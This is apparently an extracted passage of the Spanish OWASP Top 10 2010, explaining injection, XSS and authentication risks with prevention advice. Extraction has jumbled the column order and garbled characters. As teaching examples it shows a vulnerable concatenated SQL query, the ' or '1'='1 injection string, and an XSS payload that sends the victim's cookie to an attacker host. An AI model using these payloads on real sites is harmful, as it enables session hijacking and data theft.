3. I
Introducción
Bienvenido
Bienvenido
al
OWASP
Top
10
2010!
Esta
importante
actualización
representa
una
lista
concisa
y
enfocada
sobre
los
Diez
Riesgos
Más
CríBcos
sobre
Seguridad
en
Aplicaciones.
El
OWASP
Top
10
ha
sido
siempre
sobre
riesgos,
pero
esta
actualización
lo
evidencia
de
mayor
manera
respecto
a
ediciones
anteriores.
También
provee
información
adicional
sobre
como
evaluar
estos
riesgos
en
sus
aplicaciones.
Por
cada
ítem
en
el
Top
10,
esta
edición
describe
la
probabilidad
general
y
los
factores
de
consecuencia
que
se
uDlizan
para
clasificar
la
gravedad
kpica
del
riesgo.
Luego
presenta
orientación
sobre
como
verificar
si
usted
posee
problemas
en
esta
área,
como
evitarlos,
algunos
ejemplos
y
enlaces
a
mayor
información.
El
objeDvo
principal
del
Top
10
es
educar
desarrolladores,
diseñadores,
arquitectos,
gerentes,
y
organizaciones
sobre
las
consecuencias
de
las
vulnerabilidades
de
seguridad
más
importantes
en
aplicaciones
web.
El
Top
10
provee
técnicas
básicas
sobre
como
protegerse
en
estas
áreas
de
alto
riesgo
–
y
también
provee
orientación
sobre
los
pasos
a
seguir.
Advertencia
Agradecimientos
No
se
detenga
en
el
Top
10.
Existen
cientos
de
problemas
que
pueden
Gracias
a
Aspect
Security
por
iniciar,
liderar,
y
actualizar
el
OWASP
Top
10
afectar
la
seguridad
general
de
una
aplicación
web
tal
como
se
ha
discuDdo
desde
su
inicio
en
2003,
y
a
sus
principales
autores:
Jeff
Williams
y
Dave
en
la
Guia
de
Desarrollo
OWASP.
Este
documento
es
de
lectura
esencial
para
Wichers.
cualquiera
desarrollando
aplicaciones
web
hoy
en
día.
Una
efecDva
orientación
en
como
encontrar
vulnerabilidades
en
aplicaciones
web
es
suministrada
en
la
Guia
de
Testeo
OWASP
y
la
Guia
de
Revision
de
Codigo
OWASP,
las
cuales
han
sido
significaDvamente
actualizadas
desde
la
ulDma
edición
del
Top
10.
Cambio
constante.
Este
Top
10
conDnuara
cambiando.
Incluso
sin
cambiar
Queremos
agradecer
a
las
siguientes
organizaciones
que
contribuyeron
con
una
línea
de
código
en
su
aplicación,
la
misma
puede
ser
vulnerable
a
algo
datos
sobre
predominancia
de
vulnerabilidades
para
actualizar
el
Top
10
2010:
que
nadie
haya
pensado
anteriormente.
Por
favor
revise
los
consejos
detallados
al
final
del
Top
10
“Próximos
pasos
para
Desarrolladores,
Aspect
Security
Verificadores
y
Organizaciones”
para
mayor
información.
MITRE
–
CVE
Piense
posiBvamente.
Cuando
se
encuentre
preparado
para
dejar
de
buscar
SoMtek
vulnerabilidades
y
focalizarse
en
establecer
controles
seguros
de
WhiteHat
Security
Inc.
–
StaDsDcs
aplicaciones,
OWASP
ha
producido
el
ApplicaDon
Security
VerificaDon
Standard
(ASVS)
como
una
guía
para
También
queremos
agradecer
a
aquellos
que
han
contribuido
organizaciones
y
revisores
de
aplicaciones
que
detalla
los
controles
de
significaDvamente
Dempo
o
contenido
revisando
esta
actualización
del
Top
10:
seguridad
a
verificar
en
una
aplicación.
Mike
Boberski
(Booz
Allen
Hamilton)
UBlice
herramientas
inteligentemente.
Las
vulnerabilidades
de
seguridad
Juan
Carlos
Calderon
(SoMtek)
pueden
ser
bastante
complejas
y
encontrarse
ocultas
en
montañas
de
Michael
Coates
(Aspect
Security)
código.
En
virtualmente
todos
los
casos,
el
enfoque
mas
eficiente
y
Jeremiah
Grossman
(WhiteHat
Security
Inc.)
económico
para
encontrar
y
eliminar
estas
vulnerabilidades
es
asignar
Jim
Manico
(por
todos
los
podcasts
sobre
el
Top
10)
expertos
armados
de
buenas
herramientas
para
realizar
esta
tarea.
Paul
Petefish
(SoluDonary
Inc.)
Eric
Sheridan
(Aspect
Security)
SDLC
Seguro.
Aplicaciones
Web
seguras
son
solo
posibles
cuando
se
uDliza
Neil
Smithline
(OneStopAppSecurity.com)
un
SDLC
Seguro.
Para
orientación
sobre
como
implementar
un
SDLC
Seguro,
Andrew
van
der
Stock
leer
el
Open
SoMware
Assurance
Maturity
Model
(SAMM),
el
cual
es
una
Colin
Watson
(Watson
Hall,
Ltd.)
actualización
significaDva
al
OWASP
CLASP
Project.
OWASP
Denmark
Chapter
(Liderado
por
Ulf
Munkedal)
OWASP
Sweden
Chapter
(Liderado
por
John
Wilander)
Sobre
esta
versión
en
Español
Esta
versión
en
español
del
OWASP
Top
10
ha
sido
posible
gracias
a
la
colaboración
totalmente
voluntaria
de:
•
Fabio
Cerullo
–
Coordinador
del
Proyecto
•
Juan
Calderon
–
Revisor
de
la
Traducción
• Jose
Antonio
Guasch
-‐
Traductor
•
Paulo
Cesar
Coronado
-‐
Traductor
•
Rodrigo
Marcos
-‐
Traductor
•
Vicente
Aguilera
-‐
Traductor
•
Daniel
Cabezas
Molina
-‐
Traductor
•
Edgar
Sanchez
-‐
Traductor
4. RN
Notas
sobre
esta
Versión
2010
¿Que
ha
cambiado
del
2007
al
2010?
El
escenario
de
amenazas
para
aplicaciones
de
Internet
cambia
constantemente.
Los
factores
clave
en
esta
evolución
son
los
avances
hechos
por
los
atacantes,
la
liberación
de
nueva
tecnología,
así
como
la
instalación
de
sistemas
cada
vez
más
complejos.
Para
mantener
el
ritmo,
actualizamos
periódicamente
el
OWASP
Top
10.
En
esta
versión
2010,
hemos
hecho
tres
cambios
significaDvos:
Aclaramos
que
el
Top
10
es
acerca
del
Top
10
de
riesgos,
no
el
Top
10
de
las
debilidades
más
comunes.
Vea
los
detalles
en
la
página
“Riesgos
de
seguridad
en
aplicaciones”
más
abajo.
Cambiamos
nuestra
metodología
de
clasificación
para
esDmar
el
riesgo,
en
lugar
de
basarnos
solamente
en
la
frecuencia
de
la
debilidad
asociada.
Esto
ha
afectado
el
orden
del
Top
10,
como
puede
ver
en
la
tabla
más
abajo.
Reemplazamos
dos
elementos
de
la
lista
con
dos
nuevos
elementos:
•
AGREGADO:
A6
–
Defectuosa
configuración
de
seguridad.
Este
problema
fue
A10
en
el
Top
10
del
2004:
Administración
insegura
de
configuración,
pero
fue
abandonado
en
el
2007
porque
no
fue
considerado
un
problema
de
soMware.
Sin
embargo,
desde
una
perspecDva
de
riesgo
organizacional
y
prevalencia,
claramente
merece
una
re-‐inclusión
en
el
Top
10;
así
que
ahora
está
de
vuelta.
•
AGREGADO:
A10
–
Redirecciones
y
reenvíos
no
validados.
Este
problema
está
haciendo
su
debut
en
el
Top
10.
La
evidencia
muestra
que
este
problema
relaDvamente
desconocido
está
difundido
y
puede
causar
daño
significaDvo.
•
REMOVIDO:
A3
–
Ejecución
maliciosa
de
ficheros.
Este
es
aún
un
problema
significaDvo
en
muchos
ambientes
diferentes.
Sin
embargo,
su
prevalencia
en
el
2007
fue
inflada
por
el
gran
número
de
aplicaciones
PHP
que
tenían
este
problema.
PHP
ahora
conDene
una
configuración
más
segura
por
omisión,
lo
que
ha
disminuido
la
prevalencia
de
este
problema.
•
REMOVIDO:
A6
–
Filtrado
de
información
y
manejo
inapropiado
de
errores.
Este
problema
es
extremadamente
prevalente,
pero
el
impacto
de
mostrar
la
pila
de
llamadas
y
la
información
de
mensajes
de
error
kpicamente
es
mínimo.
Con
la
adición
de
la
Mala
configuración
de
seguridad
este
año,
la
configuración
apropiada
del
manejo
de
errores
consDtuye
una
buena
parte
de
configurar
de
manera
segura
sus
aplicaciones
y
servidores.
OWASP
Top
10
–
2007
(Previo)
OWASP
Top
10
–
2010
(Nuevo)
A2
–
Fallas
de
inyección
A1
–
Inyección
A1
–
Secuencia
de
Comandos
en
SiBos
Cruzados
(XSS)
A2
–
Secuencia
de
Comandos
en
SiBos
Cruzados
(XSS)
A7
–
Pérdida
de
AutenBcación
y
GesBón
de
Sesiones
A3
–
Pérdida
de
AutenBcación
y
GesBón
de
Sesiones
A4
–
Referencia
Directa
Insegura
a
Objetos
A4
–
Referencia
Directa
Insegura
a
Objetos
A5
–
Falsificación
de
PeBciones
en
SiBos
Cruzados
(CSRF)
A5
–
Falsificación
de
PeBciones
en
SiBos
Cruzados
(CSRF)
<T10
2004
A10
–
Administración
Insegura
de
Configuración>
A6
–
Defectuosa
Configuración
de
Seguridad
(NUEVO)
A8
–
Almacenamiento
Criptográfico
Inseguro
A7
–
Almacenamiento
Criptográfico
Inseguro
A10
–
Falla
de
Restricción
de
Acceso
a
URL
A8
–
Falla
de
Restricción
de
Acceso
a
URL
A9
–
Comunicaciones
Inseguras
A9
–
Protección
Insuficiente
en
la
Capa
de
Transporte
<no
disponible
en
T10
2007>
A10
–
Redirecciones
y
reenvíos
no
validados
(NUEVO)
A3
–
Ejecución
Maliciosa
de
Ficheros
<removido
del
T10
2010>
A6
–
Filtrado
de
Información
y
Manejo
Inapropiado
de
<removido
del
T10
2010>
Errores
5. Riesgo
Riesgos
de
Seguridad
en
Aplicaciones
¿Qué
son
los
riesgos
de
seguridad
en
aplicaciones?
Los
atacantes
pueden
potencialmente
usar
muchas
diferentes
rutas
a
través
de
su
aplicación
para
causar
daño
en
su
negocio
u
organización.
Cada
una
de
estas
rutas
representa
un
riesgo
que
puede,
o
no,
ser
lo
suficientemente
serio
como
para
merecer
atención.
Agentes
Vectores
Debilidades
Controles
Impactos
Impactos
De
Amenaza
De
Ataque
De
Seguridad
De
Seguridad
Tecnicos
al
Negocio
Ataque
Debilidad
Control
Impacto
Recurso
Ataque
Debilidad
Control
Impacto
Función
Ataque
Debilidad
Impacto
Recurso
Debilidad
Control
A
veces,
estas
rutas
son
triviales
de
encontrar
y
explotar
y
a
veces
son
extremadamente
diwciles.
De
manera
similar,
el
daño
causado
puede
ir
de
ninguno
hasta
incluso
sacarlo
del
negocio.
Para
determinar
el
riesgo
para
su
organización,
puede
evaluar
la
probabilidad
asociada
con
cada
agente
de
amenaza,
vector
de
ataque
y
debilidad
de
seguridad
y
combinarla
con
una
esDmación
del
impacto
técnico
y
de
negocios
en
su
organización.
Juntos,
estos
factores
determinan
el
riesgo
total.
¿Cuál
es
Mi
riesgo?
Referencias
Esta
actualización
del
OWASP
Top
10
se
enfoca
en
la
idenDficación
de
los
riesgos
más
serios
para
un
amplio
espectro
de
organizaciones.
Para
cada
uno
de
estos
riesgos,
proveemos
información
genérica
acerca
de
la
probabilidad
y
el
impacto
OWASP
técnico
usando
el
siguiente
esquema
simple
de
calificación,
que
está
basado
en
la
•
Metodología
de
Evaluación
de
Riesgos
OWASP
Metodología
de
Evaluación
de
Riesgos
OWASP.
• ArDculo
sobre
Modelado
de
Amenazas/Riesgos
Agentes
Vectores
Prevalencia
Detectabilidad
Impacto
Impacto
De
De
de
Externas
de
Debilidades
Técnico
Al
Negocio
Amenaza
Ataque
Debilidades
•
FAIR
InformaDon
Risk
Framework
Fácil
Difundido
Fácil
Severo
•
MicrosoM
Threat
Modeling
(STRIDE
and
DREAD)
?
Medio
Común
Medio
Moderado
?
Diwcil
Poco
Común
Diwcil
Menor
Sin
embargo,
solo
usted
sabe
los
detalles
específicos
de
su
ambiente
y
su
negocio.
Para
una
aplicación
cualquiera,
puede
no
haber
un
agente
de
amenaza
que
pueda
ejecutar
el
ataque
relevante,
o
el
impacto
técnico
puede
no
hacer
diferencia
ninguna.
Por
tanto,
usted
debería
evaluar
cada
riesgo,
enfocándose
en
los
agentes
de
amenaza,
los
controles
de
seguridad
e
impactos
de
negocio
en
su
empresa.
Aunque
las
versiones
previas
del
OWASP
Top
10
se
enfocaron
en
la
idenDficación
de
las
“vulnerabilidades”
más
comunes,
también
fueron
diseñadas
alrededor
de
los
riesgos.
Los
nombres
de
los
riesgos
en
la
Top
10
surgen
del
Dpo
de
ataque,
el
Dpo
de
debilidad
o
el
Dpo
de
impacto
que
pueden
causar.
Elegimos
el
nombre
que
es
mejor
conocido
y
que
logrará
el
más
alto
nivel
de
reconocimiento.
6. OWASP
Top
10
2010
–
Riesgos
de
T10
Seguridad
en
Aplicaciones
Web
• Las
fallas
de
inyección,
tales
como
SQL,
OS,
y
LDAP,
ocurren
cuando
datos
no
confiables
son
enviados
a
un
interprete
como
parte
de
un
comando
o
consulta.
Los
datos
hosDles
del
atacante
A1
–
Inyección
pueden
engañar
al
interprete
en
ejecutar
comandos
no
intencionados
o
acceder
datos
no
autorizados.
A2
–
Secuencia
de
• Las
fallas
XSS
ocurren
cada
vez
que
una
aplicación
toma
datos
no
confiables
y
los
envía
al
comandos
en
siBos
navegador
web
sin
una
ven
el
navegador
de
la
vicDma
los
cuales
permite
a
ecuestrar
las
sejecutar
de
secuencia
de
comandos
alidación
y
codificación
apropiada.
XSS
pueden
s
los
atacantes
esiones
cruzados
(XSS)
usuario,
destruir
siDos
web,
o
dirigir
al
usuario
hacia
un
siDo
malicioso.
A3
–
Pérdida
de
• Las
funciones
de
la
aplicación
relacionadas
a
autenDcación
y
gesDón
de
sesiones
son
AutenBcación
y
frecuentemente
implementadas
incorrectamente,
permiDendo
a
los
atacantes
comprometer
GesBón
de
contraseñas,
llaves,
token
de
sesiones,
o
explotar
otras
fallas
de
implementación
para
asumir
la
Sesiones
idenDdad
de
otros
usuarios.
A4
–
Referencia
• Una
referencia
directa
a
objetos
ocurre
cuando
un
desarrollador
expone
una
referencia
a
un
Directa
Insegura
a
objeto
de
ie
control
de
acceso
u
otra
protección,
lchero,
directorio,
o
base
de
datos.
Sin
run
chequeo
d
mplementación
interno,
tal
como
un
fi
os
atacantes
pueden
manipular
estas
eferencias
Objetos
para
acceder
datos
no
autorizados.
A5
–
Falsificación
• Un
ataque
CSRF
obliga
al
navegador
de
una
vicDma
autenDcada
a
enviar
una
peDción
HTTP
de
PeBciones
en
falsificado,
incluyendo
la
sesión
del
usuario
y
cualquier
otra
información
de
autenDcación
incluida
automáDcamente,
a
una
aplicación
web
vulnerable.
Esto
permite
al
atacante
forzar
al
navegador
SiBos
Cruzados
de
la
vicDma
para
generar
pedidos
que
la
aplicación
vulnerable
piensa
son
peDciones
legíDmas
(CSRF)
provenientes
de
la
vicDma.
•
Una
buena
seguridad
requiere
tener
definida
e
implementada
una
configuración
segura
para
la
A6
–
Defectuosa
aplicación,
marcos
de
trabajo,
servidor
de
aplicación,
servidor
web,
base
de
datos,
y
plataforma.
configuración
de
Todas
estas
configuraciones
deben
ser
definidas,
implementadas,
y
mantenidas
ya
que
por
lo
seguridad
general
no
son
seguras
por
defecto.
Esto
incluye
mantener
todo
el
soMware
actualizado,
incluidas
las
librerías
de
código
uDlizadas
por
la
aplicación.
A7
–
• Muchas
aplicaciones
web
no
protegen
adecuadamente
los
datos
sensibles,
tales
como
tarjetas
de
Almacenamiento
crédito,
NSSs,
y
credenciales
de
autenDcación
con
mecanismos
de
cifrado
o
hashing.
Atacantes
Criptográfico
pueden
modificar
o
robar
tales
datos
protegidos
inadecuadamente
para
conducir
robos
de
Inseguro
idenDdad,
fraudes
de
tarjeta
de
crédito
u
otros
crímenes.
A8
-‐
Falla
de
• Muchas
aplicaciones
web
verifican
los
privilegios
de
acceso
a
URLs
antes
de
generar
enlaces
o
botones
protegidos.
Sin
embargo,
las
aplicaciones
necesitan
realizar
controles
similares
cada
vez
Restricción
de
Acceso
a
URL
que
estas
páginas
son
accedidas,
o
los
atacantes
podrán
falsificar
URLs
para
acceder
a
estas
páginas
igualmente.
A9
–
Protección
• Las
aplicaciones
frecuentemente
fallan
al
autenDcar,
cifrar,
y
proteger
la
confidencialidad
e
Insuficiente
en
la
integridad
de
tráfico
de
red
sensible.
Cuando
esto
ocurre,
es
debido
a
la
uDlización
de
algoritmos
capa
de
Transporte
débiles,
cerDficados
expirados,
inválidos,
o
sencillamente
no
uDlizados
correctamente.
A10
–
• Las
aplicaciones
web
frecuentemente
redirigen
y
reenvían
a
los
usuarios
hacia
otras
páginas
o
siDos
web,
y
Redirecciones
y
uDlizan
datos
no
confiables
para
determinar
la
página
de
desDno.
Sin
una
validación
apropiada,
los
atacantes
Reenvíos
no
pueden
redirigir
a
las
vícDmas
hacia
siDos
de
phishing
o
malware,
o
uDlizar
reenvíos
para
acceder
páginas
no
autorizadas.
validados
7. A1
Inyección
Vectores
Deficiencias
Impactos
Impactos
en
Agentes
de
Ataque
de
Seguridad
Técnicos
el
negocio
de
amenaza
Explotación
Prevalencia
Detección
Impacto
__________
__________
FACIL
COMUN
MEDIA
SEVERO
Considerar
cualquier
El
atacante
envia
simples
Las
fallas
de
inyeccion
ocurren
cuando
una
aplicación
Una
falla
de
inyección
Considerar
el
valor
para
persona
que
pueda
cadenas
de
texto
que
envía
datos
no
confiables
a
un
interprete.
Las
fallas
puede
resultar
en
el
negocio
de
los
datos
enviar
datos
no
explotan
la
sintaxis
del
de
inyección
son
muy
prevalentes,
parDcularmente
perdida
o
corrupción
de
afectados
y
la
plataforma
confiables
al
sistema,
interprete
atacado.
Casi
en
código
legado,
el
cual
es
frecuentemente
datos,
falta
de
integridad,
corriendo
el
interprete.
incluyendo
usuarios
cualquier
fuente
de
datos
encontrado
en
consultas
SQL,
LDAP,
XPath,
o
negación
de
acceso.
Todos
los
datos
pueden
externos,
internos
y
puede
ser
un
vector
de
comandos
de
SO,
argumentos
de
programa,
etc.
Las
Una
falla
de
inyección
ser
robados,
administradores.
inyeccion,
incluyendo
fallas
de
inyección
son
fácil
de
descubrir
cuando
se
puede
algunas
veces
modificados,
o
fuentes
internas.
examina
el
código,
pero
mas
diwcil
a
través
de
llevar
a
la
toma
de
eliminados.
¿Puede
su
testeos.
Los
scanners
y
fuzzers
pueden
ayudar
a
los
posesión
completa
del
reputación
ser
dañada?
atacantes
a
descubrir
estas
fallas.
servidor.
¿Soy
Vulnerable?
¿Como
puedo
evitar
esto?
La
mejor
manera
de
saber
si
una
aplicación
es
vulnerable
a
inyección
es
Prevenir
la
inyección
requiere
mantener
los
datos
no
confiables
separados
de
verificar
que
todo
uso
de
los
interpretes
claramente
separe
datos
no
comandos
y
consultas.
confiables
del
comando
o
consulta.
Para
llamados
SQL,
esto
significa
uDlizar
variables
parametrizadas
en
todas
las
declaraciones
preparadas
y
1. La
opción
preferida
es
uDlizar
una
API
segura
que
evite
el
uso
del
procedimientos
almacenados,
como
asi
también
evitar
consultas
dinámicas.
interprete
completamente
o
provea
una
interface
parametrizada.
Sea
cuidadoso
con
APIs,
tales
como
procedimientos
almacenados,
que
son
Revisar
el
código
es
una
manera
fácil
y
efecDva
para
ver
si
la
aplicación
uDliza
parametrizados,
pero
que
aun
pueden
introducir
inyección
los
interpretes
de
manera
segura.
Las
herramientas
de
análisis
de
código
implícitamente.
pueden
ayudar
a
un
analista
de
seguridad
a
encontrar
la
uDlización
de
interpretes
y
rastrear
el
flujo
de
datos
en
la
aplicación.
Los
testeos
de
2. Si
una
API
parametrizada
no
se
encuentra
disponible,
usted
debe
penetración
pueden
validar
estos
problemas
a
través
de
fallas
especialmente
cuidadosamente
escapar
los
caracteres
especiales
uDlizando
una
hechas
a
mano
que
confirman
la
vulnerabilidad.
sintaxis
de
escape
especial
para
dicho
interprete.
OWASP’s
ESAPI
posee
algunas
de
estas
ruDnas
de
escape.
Los
escaneos
dinámicos
automaDzados
ejercitados
en
la
aplicación
pueden
proveer
una
buena
comprensión
sobre
si
alguna
falla
de
inyección
existe.
Los
3. Una
validación
posiDva
de
entradas
con
una
apropiada
canonicalización
escáneres
no
siempre
pueden
llegar
a
los
interpretes
y
Denen
dificultad
en
es
también
recomendado,
pero
no
es
una
defensa
completa
ya
que
detectar
si
un
ataque
fue
exitoso.
Un
manejo
pobre
de
los
errores
hace
mas
muchas
aplicaciones
requieren
caracteres
especiales
en
sus
entradas.
OWASP’s
ESAPI
Dene
una
librería
extensible
de
fácil
la
detección
de
fallas
de
inyección.
ruDnas
de
validacion
de
entradas.
Ejemplos
de
escenarios
de
ataque
Referencias
La
aplicación
uDliza
datos
no
confiables
en
la
construcción
de
la
siguiente
OWASP
consulta
vulnerable
SQL:
•
OWASP
SQL
InjecDon
PrevenDon
Cheat
Sheet
String
query
=
"SELECT
*
FROM
accounts
WHERE
custID='"
+
request.getParameter("id")
+"'";
•
OWASP
InjecDon
Flaws
ArDcle
El
atacante
modifica
el
parámetro
‘id’
en
su
navegador
para
enviar:
'
or
'1'='1.
•
ESAPI
Encoder
API
Esto
cambia
el
significado
de
la
consulta
devolviendo
todos
los
registros
de
la
•
ESAPI
Input
ValidaDon
API
tabla
ACCOUNTS
en
lugar
de
solo
el
cliente
solicitado.
•
ASVS:
Output
Encoding/Escaping
Requirements
(V6)
hsp://example.com/app/accountView?id='
or
'1'='1
•
OWASP
TesDng
Guide:
Chapter
on
SQL
InjecDon
TesDng
En
el
peor
caso,
el
atacante
uDliza
esta
vulnerabilidad
para
invocar
procedimientos
almacenados
especiales
en
la
base
de
datos
que
permiten
la
•
OWASP
Code
Review
Guide:
Chapter
on
SQL
InjecDon
toma
de
posesión
de
la
base
de
datos
y
posiblemente
también
al
servidor
•
OWASP
Code
Review
Guide:
Command
InjecDon
que
aloja
la
misma.
Externas
•
CWE
Entry
77
on
Command
InjecDon
•
CWE
Entry
89
on
SQL
InjecDon
8. A2
Secuencia
de
Comandos
en
SiBos
Cruzados
(XSS)
Vectores
Deficiencias
Impactos
Impactos
en
Agentes
de
Ataque
de
Seguridad
Técnicos
el
negocio
de
amenaza
Explotación
Prevalencia
Detección
Impacto
__________
__________
MEDIA
MUY
DIFUNDIDA
FACIL
MODERADO
Considerar
cualquier
El
atacante
envía
simples
XSS
es
la
falla
de
seguridad
mas
prevalente
en
Los
atacantes
pueden
Considerar
el
valor
de
persona
que
pueda
cadenas
de
texto
que
aplicaciones
web.
Las
fallas
XSS
ocurren
cuando
una
ejecutar
secuencias
de
negocio
de
los
datos
enviar
datos
no
explotan
la
sintaxis
del
aplicación
incluye
datos
suministrados
por
el
usuario
comandos
en
el
afectados
o
funciones
de
confiables
al
sistema,
interprete
atacado.
Casi
en
una
pagina
enviada
al
navegador
sin
ser
el
navegador
de
una
incluyendo
usuarios
cualquier
fuente
de
datos
contenido
apropiadamente
validado
o
escapado.
vicDma
para
secuestrar
la
aplicación.
externos,
internos
y
puede
ser
un
vector
de
Existen
tres
Dpos
conocidos
de
fallas
XSS:
1)
las
sesiones
de
usuario,
administradores.
inyección,
incluyendo
Almacenados,
2)
Reflejados,
and
3)
destruir
siDos
web,
También
considere
el
fuentes
internas
tales
XSS
basado
en
DOM.
insertar
código
hosDl,
impacto
en
el
negocio
la
como
datos
de
la
base
de
redirigir
usuarios,
instalar
exposición
pública
de
la
datos.
La
detección
de
la
mayoría
de
las
fallas
XSS
es
código
malicioso
en
el
relaDvamente
fácil
a
través
de
pruebas
análisis
de
vulnerabilidad.
navegador
de
la
vicDma,
código.
etc.
¿Soy
Vulnerable?
¿Como
puedo
evitar
esto?
Es
necesario
asegurarse
que
todos
los
datos
de
entrada
suministrados
por
el
Prevenir
XSS
requiere
mantener
los
datos
no
confiables
separados
del
usuario
enviados
al
navegador
sean
seguros
(a
través
de
validación
de
contenido
acDvo
del
navegador.
entradas),
y
que
las
entradas
de
usuario
sean
apropiadamente
escapadas
antes
de
que
sean
incluidas
en
la
pagina
de
salida.
Una
apropiada
1. La
opción
preferida
es
escapar
todos
los
datos
no
confiables
basados
en
codificación
de
salida
asegura
que
los
datos
de
entrada
sean
siempre
tratados
el
contexto
HTML
(cuerpo,
atributo,
JavaScript,
CSS,
o
URL)
donde
los
como
texto
en
el
navegador,
en
lugar
de
contenido
acDvo
que
puede
ser
mismos
serán
ubicados.
Los
desarrolladores
necesitan
incluir
esta
técnica
en
sus
aplicaciones
al
menos
que
el
marco
UI
lo
realice
por
ellos.
ejecutado.
Ver
la
Hoja
de
Trucos
de
Prevencion
XSS
para
mayor
información
sobre
Tanto
las
herramientas
estáDcas
como
dinámicas
pueden
encontrar
algunos
técnicas
de
escape
de
datos.
problemas
de
XSS
automáDcamente.
Sin
embargo,
cada
aplicación
construye
las
paginas
de
salida
diferentemente
y
uDliza
diferentes
interpretes
tales
2. Una
validación
de
entradas
posiDva
o
“whitelist”
con
apropiada
como
JavaScript,
AcDveX,
Flash,
y
Silverlight,
lo
que
dificulta
la
detección
canonicalización
y
decodificación
es
también
recomendable
ya
que
ayuda
a
proteger
contra
XSS,
pero
no
es
una
defensa
completa
ya
que
automáDca.
Por
lo
tanto,
una
cobertura
completa
requiere
una
combinación
de
revisión
manual
de
código
y
testeo
manual
de
penetración,
además
de
muchas
aplicaciones
requieren
caracteres
especiales
en
sus
entradas.
cualquier
testeo
automáDco
en
uso.
Tal
validación
debería,
tanto
como
sea
posible,
decodificar
cualquier
entrada
codificada,
y
luego
validar
la
longitud,
caracteres,
formato,
y
Tecnologías
Web
2.0,
tales
como
AJAX,
dificultan
la
detección
de
XSS
a
través
cualquier
regla
de
negocio
en
dichos
datos
antes
de
aceptar
la
entrada.
de
herramientas
automaDzadas.
Ejemplos
de
escenarios
de
ataque
Referencias
La
aplicación
uDliza
datos
no
confiables
en
la
construcción
del
siguiente
OWASP
código
HTML
sin
validar
o
escapar
los
datos:
•
OWASP
XSS
PrevenDon
Cheat
Sheet
(String)
page
+=
"<input
name='creditcard'
type='TEXT‘
value='"
+
request.getParameter("CC")
+
"'>";
•
OWASP
Cross-‐Site
ScripDng
ArDcle
El
atacante
modifica
el
parámetro
‘CC’
en
el
navegador:
•
ESAPI
Project
Home
Page
'><script>document.locaBon=
•
ESAPI
Encoder
API
'hsp://www.asacker.com/cgi-‐bin/cookie.cgi?
•
ASVS:
Output
Encoding/Escaping
Requirements
(V6)
foo='+document.cookie</script>'.
•
ASVS:
Input
ValidaDon
Requirements
(V5)
Esto
causa
que
el
idenDficador
de
sesión
de
la
vicDma
sea
enviado
al
siDo
web
del
atacante,
permiDendo
al
atacante
secuestrar
la
sesión
actual
del
•
TesDng
Guide:
1st
3
Chapters
on
Data
ValidaDon
TesDng
usuario.
Notar
que
los
atacantes
pueden
también
uDlizar
XSS
para
anular
•
OWASP
Code
Review
Guide:
Chapter
on
XSS
Review
cualquier
defensa
CSRF
que
la
aplicación
pueda
uDlizar.
Ver
A5
para
información
sobre
CSRF.
Externas
•
CWE
Entry
79
on
Cross-‐Site
ScripDng
•
RSnake’s
XSS
AFack
Cheat
Sheet
9. A3
Pérdida
de
AutenBcación
y
GesBón
de
Sesiones
Vectores
Deficiencias
Impactos
Impactos
en
Agentes
de
Ataque
de
Seguridad
Técnicos
el
negocio
de
amenaza
Explotación
Prevalencia
Detección
Impacto
__________
__________
MEDIA
COMUN
MEDIA
SEVERO
Considerar
atacantes
El
atacante
uDliza
Los
desarrolladores
a
menudo
crean
esquemas
Estas
vulnerabilidades
Considerar
el
valor
de
anónimos
externos,
filtraciones
o
propios
de
autenDcación
o
gesDón
de
las
sesiones,
podría
permiDr
que
negocio
de
los
datos
además
de
usuarios
con
vulnerabilidades
en
las
pero
conseguir
que
sean
correctos
es
complicado.
algunas
o
todas
las
afectados
o
funciones
de
sus
propias
cuentas,
que
funciones
de
Por
ello,
a
menudo
estos
esquemas
propios
cuentas
sean
atacadas.
la
aplicación.
podrían
intentar
robar
autenDcación
o
gesDón
conDenen
vulnerabilidades
en
las
secciones
de
cierre
Una
vez
el
ataque
resulte
cuentas
de
otros.
de
las
sesiones
(por
de
sesión,
gesDón
de
contraseñas,
Dempo
de
saDsfactorio,
el
atacante
También
considere
el
Considerar
también
a
ejemplo
cuentas
desconexión,
función
de
recordar
contraseña,
podría
realizar
cualquier
impacto
en
el
negocio
la
trabajadores
que
quieran
expuestas,
contraseñas,
pregunta
secreta,
actualización
de
cuenta,
etc.
acción
que
la
vícDma
exposición
pública
de
la
enmascarar
sus
acciones.
idenDficadores
de
sesión)
Encontrar
estas
vulnerabilidades
puede
ser
diwcil
por
pudiese.
Las
cuentas
vulnerabilidad.
para
hacerse
pasar
por
ser
única
cada
implementación.
privilegiadas
son
los
usuarios.
objeDvos
prioritarios.
¿Soy
Vulnerable?
¿Como
puedo
evitar
esto?
Los
primeros
acDvos
a
proteger
son
las
credenciales
y
los
idenDficadores
de
La
recomendación
principal
para
una
organización
es
facilitar
a
los
sesión.
desarrolladores:
1. Un
único
conjunto
de
controles
de
autenBcación
fuerte
y
gesBón
de
sesiones.
Dichos
controles
deberán
conseguir:
1. ¿Están
siempre
las
credenciales
protegidas
cuando
se
almacenan
a) Reunir
todos
los
requisitos
de
gesDón
de
sesiones
y
uDlizando
un
hash
o
cifrado?
Consultar
el
punto
A7.
autenDcación
definidos
en
el
2. ¿Se
pueden
adivinar
o
sobrescribir
las
credenciales
a
través
de
ApplicaDon
Security
VerificaDon
Standard
(ASVS)
de
OWASP,
funciones
débiles
de
gesDón
de
la
cuenta
(por
ejemplo,
registro
de
secciones
V2
(AutenDcación)
y
V3
(GesDón
de
sesiones).
b) Tener
un
interfaz
simple
para
los
desarrolladores.
Considerar
usuarios,
cambiar
contraseñas,
recuperación
de
contraseñas,
ESAPI
AuthenDcator
y
las
APIs
de
usuario
como
buenos
idenDficadores
débiles
de
sesión)?
ejemplos
a
emular,
uDlizar
o
sobre
los
que
parDr.
3. ¿Se
muestran
los
idenDficadores
de
sesión
en
la
dirección
URL?
(por
2. Se
debe
hacer
especial
hincapié
en
evitar
vulnerabilidades
de
XSS
que
ejemplo,
re-‐escritura
de
la
dirección)?
podrían
ser
uDlizadas
para
robar
idenDficadores
de
sesión.
Consultar
el
apartado
A2.
4. ¿Son
los
idenDficadores
de
sesión
vulnerables
a
ataques
de
fijación
de
la
sesión?
5. ¿Caducan
las
sesiones
y
pueden
los
usuarios
cerrar
sus
sesiones?
6. ¿Se
rotan
los
idenDficadores
de
sesiones
después
de
una
autenDcación
correcta?
7. ¿Se
envían
las
contraseñas,
idenDficadores
de
sesión
y
otras
credenciales
únicamente
mediante
conexiones
TLS?
Consultar
la
sección
A9.
Visitar
la
sección
de
requisitos
de
